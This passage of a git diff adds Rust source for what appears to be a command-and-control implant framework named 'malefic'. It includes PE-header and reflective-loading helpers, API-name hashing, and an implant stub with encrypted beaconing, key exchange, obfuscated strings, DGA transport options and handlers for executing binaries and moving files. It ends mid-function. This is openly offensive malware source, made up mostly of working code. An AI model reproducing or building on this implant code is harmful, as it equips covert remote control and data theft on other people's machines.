WIN32_WIN_NT_VISTA, WIN32_WIN_NT_WIN10, WIN32_WIN_NT_WIN7, + WIN32_WIN_NT_WIN8, WIN32_WIN_NT_WINBLUE, WIN32_WIN_NT_WINXP, +}; + +#[macro_export] +macro_rules! ENUM { + {enum $name:ident { $($variant:ident = $value:expr,)+ }} => { + pub type $name = u32; + $(pub const $variant: $name = $value;)+ + }; + {enum $name:ident { $variant:ident = $value:expr, $($rest:tt)* }} => { + pub type $name = u32; + pub const $variant: $name = $value; + ENUM!{@gen $name $variant, $($rest)*} + }; + {enum $name:ident { $variant:ident, $($rest:tt)* }} => { + ENUM!{enum $name { $variant = 0, $($rest)* }} + }; + {@gen $name:ident $base:ident,} => {}; + {@gen $name:ident $base:ident, + $variant:ident = $value:expr, $($rest:tt)*} => { + pub const $variant: $name = $value; + ENUM!{@gen $name $variant, $($rest)*} + }; + {@gen $name:ident $base:ident, $variant:ident, $($rest:tt)*} => { + pub const $variant: $name = $base + 1u32; + ENUM!{@gen $name $variant, $($rest)*} + }; +} + +#[macro_export] +macro_rules! STRUCT { + ($(#[$attrs:meta])* struct $name:ident { + $($field:ident: $ftype:ty,)+ + }) => ( + #[repr(C)] #[derive(Copy)] $(#[$attrs])* + pub struct $name { + $(pub $field: $ftype,)+ + } + impl Clone for $name { + #[inline] + fn clone(&self) -> $name { *self } + } + ); +} + +#[macro_export] +macro_rules! get_nt_header { + ($base_addr: expr) => {{ + let dos_header = $base_addr as *mut winapi::um::winnt::IMAGE_DOS_HEADER; + pointer_add($base_addr, (*dos_header).e_lfanew as _) + as *mut winapi::um::winnt::IMAGE_NT_HEADERS + }}; +} + +pub fn get_cstr_len(pointer: *const u8) -> usize { + unsafe { + (0..) + .take_while(|&i| *(((pointer as usize) + i) as *const u8) != 0) + .count() + } +} + +pub fn get_wcstr_len(pointer: *const u16) -> usize { + unsafe { + (0..) + .take_while(|&i| *(((pointer as usize) + i) as *const u16) != 0) + .count() + } +} + +pub unsafe fn srdi_memcpy(dest: *mut u8, src: *const u8, n: usize) { + let mut i = 0; + while i < n { + *dest.add(i) = *src.add(i); + i += 1; + } +} + +pub unsafe fn srdi_memcmp(s1: *const u8, s2: *const u8, n: usize) -> i32 { + let mut i = 0; + while i < n { + if *s1.add(i) != *s2.add(i) { + return *s1.add(i) as i32 - *s2.add(i) as i32; + } + i += 1; + } + 0 +} + +pub unsafe fn srdi_memcpy_usize(dest: *mut c_void, src: usize) { + *(dest as *mut usize) = src; +} + +pub unsafe fn pointer_add(base_point: *const T, offset: usize) -> *const c_void { + return ((base_point as *const c_void) as usize + offset) as *const c_void; +} + +pub unsafe fn pointer_sub(base_point: *const T, offset: usize) -> *const c_void { + return ((base_point as *const c_void) as usize - offset) as *const c_void; +} + +pub unsafe fn srdi_memset(dest: *mut u8, value: u8, n: usize) { + let mut i = 0; + while i < n { + *dest.add(i) = value; + i += 1; + } +} + +#[inline] +pub fn LOBYTE(l: u16) -> u8 { + (l & 0xff) as u8 +} +#[inline] +pub fn HIBYTE(l: u16) -> u8 { + ((l >> 8) & 0xff) as u8 +} + +pub fn dbj2_str_hash(buffer: &[u8]) -> u32 { + let mut hsh: u32 = 5381; + let mut iter: usize = 0; + let mut cur: u8; + + while iter.lt(&buffer.len()) { + cur = buffer[iter]; + + if cur.eq(&0) { + iter += 1; + continue; + } + + if cur.ge(&('a' as u8)) { + cur -= 0x20; + } + + hsh = ((hsh << 5).wrapping_add(hsh)) + cur as u32; + iter += 1; + } + + return hsh; +} + +pub fn dbj2_hash(buffer: &[u16]) -> u32 { + let mut hsh: u32 = 5381; + let mut iter: usize = 0; + let mut cur: u16; + + while iter.lt(&buffer.len()) { + cur = buffer[iter]; + + if cur.eq(&0) { + iter += 1; + continue; + } + + if cur.ge(&('a' as u16)) { + cur -= 0x20; + } + + hsh = ((hsh << 5).wrapping_add(hsh)) + cur as u32; + iter += 1; + } + return hsh; +} + +pub unsafe fn IsWindowsVersionOrGrearter( + win_ver: &WinVer, + major_version: u16, + minor_version: u16, + service_pack_major: u16, + build_number: u16, +) -> bool { + if win_ver.native.dwMajorVersion.eq(&0) { + return false; + } + if win_ver.native.dwMajorVersion > major_version as _ { + return true; + } + if win_ver.native.dwMajorVersion < major_version as _ { + return false; + } + if win_ver.native.dwMinorVersion > minor_version as _ { + return true; + } + if win_ver.native.dwMinorVersion < minor_version as _ { + return false; + } + if win_ver.native.wServicePackMajor > service_pack_major { + return true; + } + if win_ver.native.wServicePackMajor < service_pack_major { + return false; + } + if win_ver.native.dwBuildNumber >= build_number as _ { + return true; + } + + false +} + +pub unsafe fn IsWindowsXPOrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WINXP as u16) as _, + LOBYTE(WIN32_WIN_NT_WINXP as u16) as _, + 0, + 0, + ) +} + +pub unsafe fn IsWindowsXPSP1OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WINXP as u16) as _, + LOBYTE(WIN32_WIN_NT_WINXP as u16) as _, + 1, + 0, + ) +} + +pub unsafe fn IsWindowsXPSP2OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WINXP as u16) as _, + LOBYTE(WIN32_WIN_NT_WINXP as u16) as _, + 2, + 0, + ) +} + +pub unsafe fn IsWindowsXPSP3OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WINXP as u16) as _, + LOBYTE(WIN32_WIN_NT_WINXP as u16) as _, + 3, + 0, + ) +} + +pub unsafe fn IsWindowsVistaOrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_VISTA as u16) as _, + LOBYTE(WIN32_WIN_NT_VISTA as u16) as _, + 0, + 0, + ) +} + +pub unsafe fn IsWindowsVistaSP1OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_VISTA as u16) as _, + LOBYTE(WIN32_WIN_NT_VISTA as u16) as _, + 1, + 0, + ) +} + +pub unsafe fn IsWindowsVistaSP2OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_VISTA as u16) as _, + LOBYTE(WIN32_WIN_NT_VISTA as u16) as _, + 2, + 0, + ) +} + +pub unsafe fn IsWindows7OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WIN7 as u16) as _, + LOBYTE(WIN32_WIN_NT_WIN7 as u16) as _, + 0, + 0, + ) +} + +pub unsafe fn IsWindows7SP1OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WIN7 as u16) as _, + LOBYTE(WIN32_WIN_NT_WIN7 as u16) as _, + 1, + 0, + ) +} + +pub unsafe fn IsWindows8OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WIN8 as u16) as _, + LOBYTE(WIN32_WIN_NT_WIN8 as u16) as _, + 0, + 0, + ) +} + +pub unsafe fn IsWindows8Point1OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WINBLUE as u16) as _, + LOBYTE(WIN32_WIN_NT_WINBLUE as u16) as _, + 0, + 0, + ) +} + +pub unsafe fn IsWindows10OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + LOBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + 0, + 0, + ) +} + +pub unsafe fn IsWindows10RS1OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + LOBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + 0, + BuildThreshold::BUILD_RS1 as u16, + ) +} + +pub unsafe fn IsWindows10RS2OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + LOBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + 0, + BuildThreshold::BUILD_RS2 as u16, + ) +} + +pub unsafe fn IsWindows10RS3OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + LOBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + 0, + BuildThreshold::BUILD_RS3 as u16, + ) +} + +pub unsafe fn IsWindows10RS4OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + LOBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + 0, + BuildThreshold::BUILD_RS4 as u16, + ) +} + +pub unsafe fn IsWindows10RS5OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + LOBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + 0, + BuildThreshold::BUILD_RS5 as u16, + ) +} + +pub unsafe fn IsWindows1019H1OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + LOBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + 0, + BuildThreshold::BUILD_19_H1 as u16, + ) +} + +pub unsafe fn IsWindows1019H2OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + LOBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + 0, + BuildThreshold::BUILD_19_H2 as u16, + ) +} + +pub unsafe fn IsWindows1020H1OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + LOBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + 0, + BuildThreshold::BUILD_20_H1 as u16, + ) +} + +pub unsafe fn IsWindows11BetaOrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + LOBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + 0, + BuildThreshold::BUILD_Win11Beta as u16, + ) +} + +// #[no_mangle] +pub unsafe fn boyer_moore( + start_addr: *const u8, + size: usize, + pattern: &[u8], + search_len: usize, +) -> isize { + if pattern.is_empty() || size == 0 || size < search_len || pattern.len() < search_len { + return -1; + } + + let mut bad_char_skip = [search_len; 256]; + for i in 0..search_len - 1 { + bad_char_skip[pattern[i] as usize] = search_len - 1 - i; + } + + let start = unsafe { core::slice::from_raw_parts(start_addr, size) }; + + let mut i = 0; + while i <= size - search_len { + let mut j = (search_len - 1) as isize; + + while j >= 0 && pattern[j as usize] == start[i + j as usize] { + j -= 1; + } + + if j < 0 { + return i as _; + } + + let bad_char = start[i + j as usize]; + i += bad_char_skip[bad_char as usize].max(1); + } + + -1 +} diff --git a/malefic-crates/stub/Cargo.toml b/malefic-crates/stub/Cargo.toml new file mode 100644 index 0000000..1a8371c --- /dev/null +++ b/malefic-crates/stub/Cargo.toml @@ -0,0 +1,46 @@ +[package] +name = "malefic-stub" +version = "0.1.0" +edition = "2021" + +[features] +default = ["addon", "hot_load", "register_info", "transport_tcp"] + +addon = ["malefic-manager/addon"] +hot_load = ["malefic-manager/hot_load"] +register_info = ["malefic-common/register_info"] +secure = ["malefic-proto/secure", "malefic-crypto/secure", "malefic-config/secure"] +malefic-3rd = ["dep:malefic-3rd"] + +# Transport propagation +transport_tcp = ["malefic-transport/transport_tcp"] +transport_http = ["malefic-transport/transport_http"] +transport_rem = ["malefic-transport/transport_rem"] +bind = ["malefic-transport/bind"] +tls = ["malefic-transport/tls"] +tls_rustls = ["malefic-transport/tls_rustls"] +tls_native = ["malefic-transport/tls_native"] +mtls = ["malefic-transport/mtls"] +proxy = ["malefic-transport/proxy"] +dga = ["malefic-transport/dga"] + +[dependencies] +anyhow = { workspace = true } +hmac = { workspace = true } +sha2 = { workspace = true } +futures = { workspace = true } +futures-timer = { workspace = true } + +malefic-gateway = { workspace = true } +malefic-proto = { workspace = true } +malefic-crypto = { workspace = true, default-features = true } +malefic-module = { workspace = true } +malefic-modules = { workspace = true } +malefic-cron = { workspace = true } +malefic-config = { workspace = true } +malefic-common = { workspace = true, default-features = false } +malefic-manager = { workspace = true, default-features = false } +malefic-scheduler = { workspace = true } +malefic-transport = { workspace = true, default-features = false } +malefic-sysinfo = { workspace = true } +malefic-3rd = { workspace = true, optional = true } diff --git a/malefic-crates/stub/src/channel.rs b/malefic-crates/stub/src/channel.rs new file mode 100644 index 0000000..f66d84d --- /dev/null +++ b/malefic-crates/stub/src/channel.rs @@ -0,0 +1,14 @@ +use futures::channel::mpsc::{UnboundedReceiver, UnboundedSender}; + +use malefic_module::MaleficModule; +use malefic_proto::proto::implantpb::spite::Body; +use malefic_proto::proto::implantpb::{Spite, Spites}; +use malefic_scheduler::TaskOperator; + +pub struct MaleficChannel { + pub data_sender: UnboundedSender, + pub request_sender: UnboundedSender, + pub response_receiver: UnboundedReceiver, + pub scheduler_task_sender: UnboundedSender<(bool, u32, Box, Body)>, + pub scheduler_task_ctrl: UnboundedSender<(u32, TaskOperator)>, +} diff --git a/malefic-crates/stub/src/composition.rs b/malefic-crates/stub/src/composition.rs new file mode 100644 index 0000000..4723c8a --- /dev/null +++ b/malefic-crates/stub/src/composition.rs @@ -0,0 +1,18 @@ +use malefic_common::errors::MaleficError; +use malefic_manager::manager::{MaleficManager, ModuleRegister}; + +pub fn register_builtin_bundles(manager: &mut MaleficManager) -> Result<(), MaleficError> { + manager.register_bundle( + "origin", + malefic_modules::register_modules as ModuleRegister, + ); + #[cfg(feature = "malefic-3rd")] + manager.register_bundle("3rd", malefic_3rd::register_3rd as ModuleRegister); + manager.refresh_module() +} + +pub fn default_manager() -> Result { + let mut manager = MaleficManager::new(); + register_builtin_bundles(&mut manager)?; + Ok(manager) +} diff --git a/malefic-crates/stub/src/lib.rs b/malefic-crates/stub/src/lib.rs new file mode 100644 index 0000000..9116282 --- /dev/null +++ b/malefic-crates/stub/src/lib.rs @@ -0,0 +1,5 @@ +pub mod channel; +pub mod composition; +pub mod meta; +pub mod stub; +pub mod sys; diff --git a/malefic-crates/stub/src/meta.rs b/malefic-crates/stub/src/meta.rs new file mode 100644 index 0000000..de437b9 --- /dev/null +++ b/malefic-crates/stub/src/meta.rs @@ -0,0 +1,270 @@ +use malefic_config::{CRON, JITTER}; +use malefic_cron::Cronner; +use malefic_gateway::obfstr::obfstr; + +pub struct MetaConfig { + uuid: [u8; 4], + pub scheduler: Cronner, // interval scheduler + #[cfg(feature = "secure")] + pub private_key: String, // private_key for implant,for decode server's data + #[cfg(feature = "secure")] + pub server_public_key: String, // public_key for server,encode data to server + #[cfg(feature = "secure")] + pending_private_key: Option, + #[cfg(feature = "secure")] + pending_server_public_key: Option, + #[cfg(feature = "secure")] + key_exchange_state: KeyExchangeState, + #[cfg(feature = "secure")] + seen_nonces: std::collections::VecDeque, +} + +#[cfg(feature = "secure")] +#[derive(PartialEq)] +enum KeyExchangeState { + Idle, + Pending, + ResponseSent, +} + +impl MetaConfig { + pub fn new(uuid: [u8; 4]) -> Self { + let scheduler = Cronner::new(&CRON, *JITTER).unwrap_or_else(|_| { + Cronner::new(&*obfstr!("*/5 * * * * * *").to_string(), *JITTER).unwrap() + }); + + MetaConfig { + uuid, + #[cfg(feature = "secure")] + private_key: malefic_config::AGE_PRIVATE_KEY.clone(), + #[cfg(feature = "secure")] + server_public_key: malefic_config::AGE_PUBLIC_KEY.clone(), + #[cfg(feature = "secure")] + pending_private_key: None, + #[cfg(feature = "secure")] + pending_server_public_key: None, + #[cfg(feature = "secure")] + key_exchange_state: KeyExchangeState::Idle, + #[cfg(feature = "secure")] + seen_nonces: std::collections::VecDeque::new(), + scheduler, + } + } + + pub fn set_id(&mut self, uuid: [u8; 4]) { + self.uuid = uuid; + } + + pub fn update_schedule(&mut self, expression: &str, jitter: f64) -> anyhow::Result<()> { + self.scheduler = Cronner::new(expression, jitter) + .map_err(|e| anyhow::anyhow!("Failed to create scheduler: {}", e))?; + Ok(()) + } + + pub fn new_heartbeat(&self) -> u64 { + self.scheduler.next_interval() + } + + pub fn get_uuid(&self) -> [u8; 4] { + self.uuid + } + + /// Get implant's private key for decrypting server data + pub fn get_decrypt_key(&self) -> Option<&str> { + #[cfg(feature = "secure")] + { + if self.private_key.is_empty() { + None + } else { + use malefic_common::debug; + debug!("get decrypt key: {}", self.private_key); + Some(&self.private_key) + } + } + #[cfg(not(feature = "secure"))] + { + None + } + } + + /// Get server's public key for encrypting data to server + pub fn get_encrypt_key(&self) -> Option<&str> { + #[cfg(feature = "secure")] + { + if self.server_public_key.is_empty() { + None + } else { + Some(&self.server_public_key) + } + } + #[cfg(not(feature = "secure"))] + { + None + } + } + + /// Derive implant public key from active private key + #[allow(dead_code)] + pub fn get_public_key(&self) -> Option { + #[cfg(feature = "secure")] + { + use malefic_common::debug; + use malefic_crypto::crypto::age::parse_age_identity; + + if self.private_key.is_empty() { + return None; + } + + match parse_age_identity(&self.private_key) { + Ok(identity) => Some(identity.to_public().to_string()), + Err(err) => { + debug!("failed to derive public key from private key: {}", err); + None + } + } + } + #[cfg(not(feature = "secure"))] + { + None + } + } + + /// Check if nonce was already seen; record it if new. + /// Returns `true` if accepted (new or empty), `false` if replayed. + #[cfg(feature = "secure")] + pub fn check_and_record_nonce(&mut self, nonce: &str) -> bool { + if nonce.is_empty() { + return true; // backward compat with old server + } + if self.seen_nonces.iter().any(|n| n == nonce) { + return false; // replay detected + } + if self.seen_nonces.len() >= 32 { + self.seen_nonces.pop_front(); + } + self.seen_nonces.push_back(nonce.to_string()); + true + } + + #[cfg(feature = "secure")] + pub fn cache_key_exchange(&mut self, private_key: String, server_public_key: Option) { + self.pending_private_key = Some(private_key); + self.pending_server_public_key = server_public_key.filter(|k| !k.is_empty()); + self.key_exchange_state = KeyExchangeState::Pending; + } + + #[cfg(feature = "secure")] + pub fn mark_key_exchange_response_sent(&mut self) { + if self.key_exchange_state == KeyExchangeState::Pending + && (self.pending_private_key.is_some() || self.pending_server_public_key.is_some()) + { + self.key_exchange_state = KeyExchangeState::ResponseSent; + } + } + + #[cfg(feature = "secure")] + pub fn commit_key_exchange_if_ready(&mut self) -> bool { + if self.key_exchange_state != KeyExchangeState::ResponseSent { + return false; + } + + let mut updated = false; + + if let Some(private_key) = self.pending_private_key.take() { + self.private_key = private_key; + updated = true; + } + + if let Some(server_public_key) = self.pending_server_public_key.take() { + self.server_public_key = server_public_key; + updated = true; + } + + self.key_exchange_state = KeyExchangeState::Idle; + updated + } +} + +#[cfg(all(test, feature = "secure"))] +mod tests { + use super::*; + + /// Replayed nonce must be rejected + #[test] + fn test_nonce_dedup_rejects_replay() { + let mut meta = MetaConfig::new([1, 1, 1, 1]); + assert!( + meta.check_and_record_nonce("nonce-1"), + "first use of nonce should be accepted" + ); + assert!( + !meta.check_and_record_nonce("nonce-1"), + "replayed nonce should be rejected" + ); + } + + /// Different nonces should all be accepted + #[test] + fn test_nonce_dedup_accepts_different() { + let mut meta = MetaConfig::new([2, 2, 2, 2]); + assert!(meta.check_and_record_nonce("a")); + assert!(meta.check_and_record_nonce("b")); + assert!(meta.check_and_record_nonce("c")); + } + + /// Empty nonce always accepted (backward compat with old servers) + #[test] + fn test_nonce_dedup_empty_skipped() { + let mut meta = MetaConfig::new([3, 3, 3, 3]); + assert!( + meta.check_and_record_nonce(""), + "empty nonce should always be accepted (backward compat)" + ); + assert!( + meta.check_and_record_nonce(""), + "empty nonce should always be accepted even when repeated" + ); + } + + /// After the window fills up, the oldest nonce is evicted and can be reused. + /// The window holds 32 entries. Inserting a 33rd evicts the oldest (n0). + #[test] + fn test_nonce_dedup_evicts_old() { + let mut meta = MetaConfig::new([4, 4, 4, 4]); + // Fill up the 32-element window with n0..n31 + for i in 0..32 { + assert!( + meta.check_and_record_nonce(&format!("n{}", i)), + "nonce n{} should be accepted on first use", + i + ); + } + + // All 32 slots occupied. n0 is still tracked (front of deque). + assert!( + !meta.check_and_record_nonce("n0"), + "n0 should still be tracked (deque is full but not yet evicted)" + ); + + // Insert a 33rd nonce to force eviction of the oldest (n1, since n0 + // was rejected above and not re-inserted). + // Actually n0 was rejected so deque still has [n0..n31]. Adding "extra" + // will pop n0 and push "extra". + assert!( + meta.check_and_record_nonce("extra"), + "new nonce 'extra' should be accepted, evicting n0" + ); + + // n0 was evicted, so it can be reused now + assert!( + meta.check_and_record_nonce("n0"), + "evicted nonce n0 should be accepted again" + ); + + // n31 is still in the window (recent), so it should be rejected + assert!( + !meta.check_and_record_nonce("n31"), + "recent nonce n31 should still be rejected" + ); + } +} diff --git a/malefic-crates/stub/src/stub.rs b/malefic-crates/stub/src/stub.rs new file mode 100644 index 0000000..04c76fe --- /dev/null +++ b/malefic-crates/stub/src/stub.rs @@ -0,0 +1,722 @@ +use anyhow::anyhow; +use futures::SinkExt; +use futures_timer::Delay; +use malefic_gateway::lazy_static; +use std::str::FromStr; +use std::time::Duration; + +use crate::channel::MaleficChannel; +use crate::composition::default_manager; +use crate::meta::MetaConfig; +use malefic_common::check_body; +use malefic_common::debug; +use malefic_common::errors::MaleficError; +use malefic_config as config; +use malefic_manager::internal::InternalModule; +use malefic_manager::manager::MaleficManager; +#[cfg(not(feature = "secure"))] +use malefic_proto::new_empty_spite; +use malefic_proto::proto::{ + implantpb, + implantpb::spite::Body, + implantpb::{Spite, Spites}, + modulepb, +}; +use malefic_proto::{new_error_spite, new_spite}; +use malefic_scheduler::TaskOperator; + +// ============================================================================ +// Common Helper Functions +// ============================================================================ + +/// Get Cryptor instance +/// +/// Create encryptor using configured key, IV is the reverse of the key +pub fn get_cryptor() -> malefic_crypto::crypto::Cryptor { + let key = config::get_transport_key(); + let iv: Vec = key.iter().rev().cloned().collect(); + malefic_crypto::crypto::new_cryptor(key, iv) +} + +/// Build Connection +/// +/// Build Connection instance using unified configuration +/// +/// # Parameters +/// +/// - `transport`: Underlying transport connection +/// - `session_id`: Session ID (4 bytes) +/// - `encrypt_key`: Optional encryption key (server's public key for age encryption) +/// - `decrypt_key`: Optional decryption key (implant's private key for age decryption) +pub fn build_connection( + transport: malefic_transport::InnerTransport, + session_id: [u8; 4], + encrypt_key: Option<&str>, + decrypt_key: Option<&str>, +) -> anyhow::Result { + malefic_transport::ConnectionBuilder::new(transport) + .with_cryptor(get_cryptor()) + .with_session_id(session_id) + .with_encrypt_key(encrypt_key) + .with_decrypt_key(decrypt_key) + .build() + .map_err(|e| anyhow::anyhow!("Failed to build connection: {:?}", e)) +} + +pub fn build_connection_for_server( + transport: malefic_transport::InnerTransport, + session_id: [u8; 4], + encrypt_key: Option<&str>, + decrypt_key: Option<&str>, + server_config: &config::ServerConfig, +) -> anyhow::Result { + let session_config = session_config_for_server(server_config); + malefic_transport::ConnectionBuilder::new(transport) + .with_cryptor(get_cryptor()) + .with_session_id(session_id) + .with_encrypt_key(encrypt_key) + .with_decrypt_key(decrypt_key) + .with_config(session_config) + .build() + .map_err(|e| anyhow::anyhow!("Failed to build connection: {:?}", e)) +} + +pub fn session_config_for_server( + server_config: &config::ServerConfig, +) -> malefic_transport::SessionConfig { + malefic_transport::SessionConfig { + read_chunk_size: server_config.session_config.read_chunk_size, + deadline: server_config.session_config.deadline, + } +} + +pub fn connect_timeout_for_server(server_config: &config::ServerConfig) -> Duration { + server_config.session_config.connect_timeout +} + +pub fn default_keepalive_for_server(server_config: &config::ServerConfig) -> bool { + server_config.session_config.keepalive +} + +const SPITE_DEBUG_DUMP_LIMIT: usize = 2048; +const SPITES_DEBUG_DUMP_LIMIT: usize = 1024; + +fn body_log_summary(body: &Body) -> String { + match body { + Body::Empty(_) => "Empty".to_string(), + Body::Ping(ping) => format!("Ping[nonce={}]", ping.nonce), + Body::Ack(ack) => format!( + "Ack[id={}, success={}, end={}]", + ack.id, ack.success, ack.end + ), + Body::Task(task) => format!("Task[task_id={}, op={}]", task.task_id, task.op), + Body::Common(common) => format!( + "Common[name={}, u32={}, u64={}, bool={}, string={}, bytes={}]", + common.name, + common.u32_array.len(), + common.u64_array.len(), + common.bool_array.len(), + common.string_array.len(), + common.bytes_array.len() + ), + Body::Register(register) => format!( + "Register[name={}, proxy={}, modules={}, addons={}, has_timer={}, has_sysinfo={}, secure={}]", + register.name, + register.proxy, + register.module.len(), + register.addons.len(), + register.timer.is_some(), + register.sysinfo.is_some(), + register.secure.as_ref().map(|secure| secure.enable).unwrap_or(false) + ), + Body::Init(init) => format!("Init[data_len={}]", init.data.len()), + Body::Request(req) => format!( + "Request[name={}, input_len={}, args={}, params={}, bin_len={}]", + req.name, + req.input.len(), + req.args.len(), + req.params.len(), + req.bin.len() + ), + Body::Response(resp) => format!( + "Response[output_len={}, error_len={}, kv={}, array={}]", + resp.output.len(), + resp.error.len(), + resp.kv.len(), + resp.array.len() + ), + Body::ExecuteBinary(exec) => format!( + "ExecuteBinary[name={}, type={}, process_name={}, args={}, param={}, bin_len={}, data_len={}, output={}]", + exec.name, + exec.r#type, + exec.process_name, + exec.args.len(), + exec.param.len(), + exec.bin.len(), + exec.data.len(), + exec.output + ), + Body::BinaryResponse(resp) => format!( + "BinaryResponse[status={}, data_len={}, message_len={}, err_len={}]", + resp.status, + resp.data.len(), + resp.message.len(), + resp.err.len() + ), + Body::ExecResponse(resp) => format!( + "ExecResponse[status_code={}, stdout_len={}, stderr_len={}, pid={}, end={}]", + resp.status_code, + resp.stdout.len(), + resp.stderr.len(), + resp.pid, + resp.end + ), + Body::UploadRequest(req) => format!( + "UploadRequest[name={}, target={}, data_len={}, hidden={}, override={}]", + req.name, + req.target, + req.data.len(), + req.hidden, + req.r#override + ), + Body::DownloadRequest(req) => format!( + "DownloadRequest[path={}, name={}, buffer_size={}, dir={}, cur={}]", + req.path, req.name, req.buffer_size, req.dir, req.cur + ), + Body::DownloadResponse(resp) => format!( + "DownloadResponse[checksum_len={}, size={}, cur={}, content_len={}]", + resp.checksum.len(), + resp.size, + resp.cur, + resp.content.len() + ), + Body::Block(block) => format!( + "Block[block_id={}, content_len={}, end={}]", + block.block_id, + block.content.len(), + block.end + ), + Body::KeyExchangeRequest(req) => format!( + "KeyExchangeRequest[public_key_len={}, signature_len={}, timestamp={}, nonce_len={}]", + req.public_key.len(), + req.signature.len(), + req.timestamp, + req.nonce.len() + ), + Body::KeyExchangeResponse(resp) => { + format!("KeyExchangeResponse[public_key_len={}]", resp.public_key.len()) + } + _ => "body=elided".to_string(), + } +} + +fn spite_log_summary(spite: &Spite) -> String { + let body_summary = spite + .body + .as_ref() + .map(body_log_summary) + .unwrap_or_else(|| "None".to_string()); + + format!( + "task_id={}, name={}, async={}, error={}, len={}, body={}", + spite.task_id, + spite.name, + spite.r#async, + spite.error, + malefic_proto::get_message_len(spite), + body_summary + ) +} + +fn spites_log_summary(spites: &Spites) -> String { + let preview_limit = 4usize; + let total = spites.spites.len(); + let mut parts = spites + .spites + .iter() + .take(preview_limit) + .map(spite_log_summary) + .collect::>(); + + if total > preview_limit { + parts.push(format!("... +{} more", total - preview_limit)); + } + + format!( + "count={}, len={}, [{}]", + total, + malefic_proto::get_message_len(spites), + parts.join(" | ") + ) +} + +#[doc(hidden)] +pub fn spite_log_output(spite: &Spite) -> String { + #[cfg(debug_assertions)] + if malefic_proto::get_message_len(spite) <= SPITE_DEBUG_DUMP_LIMIT { + return format!("{:#?}", spite); + } + spite_log_summary(spite) +} + +#[doc(hidden)] +pub fn spites_log_output(spites: &Spites) -> String { + #[cfg(debug_assertions)] + if malefic_proto::get_message_len(spites) <= SPITES_DEBUG_DUMP_LIMIT { + return format!("{:#?}", spites); + } + spites_log_summary(spites) +} + +// ============================================================================ +// Data Structures +// ============================================================================ + +lazy_static! { + pub static ref EMPTY_SPITES: Spites = Spites { + spites: vec![Spite::default()] + }; +} + +/// Pending switch operation to be consumed by the beacon layer +pub struct PendingSwitch { + pub action: i32, + pub targets: Vec, + pub key: Vec, +} + +pub struct MaleficStub { + pub manager: MaleficManager, + pub meta: MetaConfig, + pub channel: MaleficChannel, + default_keepalive_enabled: bool, + /// KeepAlive status flag (dynamically controlled by server) + pub keepalive_enabled: bool, + /// Pending switch operation, consumed by beacon after session loop exits + pub pending_switch: Option, +} + +#[malefic_gateway::obfuscate] +impl MaleficStub { + pub fn new(instance_id: [u8; 4], channel: MaleficChannel) -> Self { + if let Ok(manager) = default_manager() { + let default_keepalive_enabled = *config::KEEPALIVE; + MaleficStub { + manager, + meta: MetaConfig::new(instance_id), + channel, + default_keepalive_enabled, + keepalive_enabled: default_keepalive_enabled, + pending_switch: None, + } + } else { + panic!("origin modules refresh failed"); + } + } + + pub fn apply_server_defaults(&mut self, server_config: &config::ServerConfig) { + self.default_keepalive_enabled = default_keepalive_for_server(server_config); + self.keepalive_enabled = self.default_keepalive_enabled; + } + + pub fn reset_keepalive_state(&mut self) { + self.keepalive_enabled = self.default_keepalive_enabled; + } + + pub fn register_spite(&mut self) -> Spite { + let sysinfo = crate::sys::get_register_info(); + debug!("sysinfo: {:#?}", sysinfo); + 